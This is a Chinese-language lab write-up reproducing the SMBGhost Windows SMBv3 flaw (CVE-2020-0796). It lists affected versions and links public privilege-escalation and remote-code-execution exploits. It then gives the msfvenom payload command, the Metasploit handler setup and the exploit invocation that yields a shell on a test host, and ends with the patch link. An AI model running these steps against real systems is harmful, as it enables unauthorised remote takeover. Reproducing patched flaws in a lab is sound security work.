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Windows SMBv3 RCE CVE-2020-0796 漏洞
复现  

2020 年 3 月 10 日，微软发布安全通告称 SMBv3 协议在处理某些请求的方式中存在代码执行

漏洞，未经身份验证的黑客可以发送精心构造的数据包进行攻击，造成任意代码执行。

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems

0x00 简介

0x01 影响范围
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Windows 10 Version 1903 for ARM64-based Systems

Windows Server, version 1903 (Server Core installation)

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, version 1909 (Server Core installation)

下载 EXP，普通用户执行 EXP，获得系统管理员权限。

https://github.com/f1tz/CVE-2020-0796-LPE-EXP
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0x02 漏洞复现

1. 本地提权
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靶机为 Windows10 专业版 ip:192.168.0.169

2. 远程代码执行
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下载 EXP
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EXP下载地址:https://github.com/chompie1337/SMBGhost_RCE_PoC

使用以下命令生成反弹的 shellcode，将 shellcode 中的 buf 全部替换为 USER_PAYLOAD

在 exploit.py 中替换自己的 USER_PAYLOAD

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f python 
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启动 msf，使用反弹模块

use exploit/mulit/handler  

set payload windows/x64/meterpreter/bind_tcp #设置反弹模式

set rhost 192.168.0.169 #设置目标靶机地址

set lport 2333 #设置监听端口 

exploit
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执行 poc，需要关闭 Windows defender。

python3 exploit.py -ip 192.168.0.169
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成功获取 shell，poc 不太稳定，有可能导致蓝屏，多试几遍就好了。
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目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796

0x03 漏洞修复


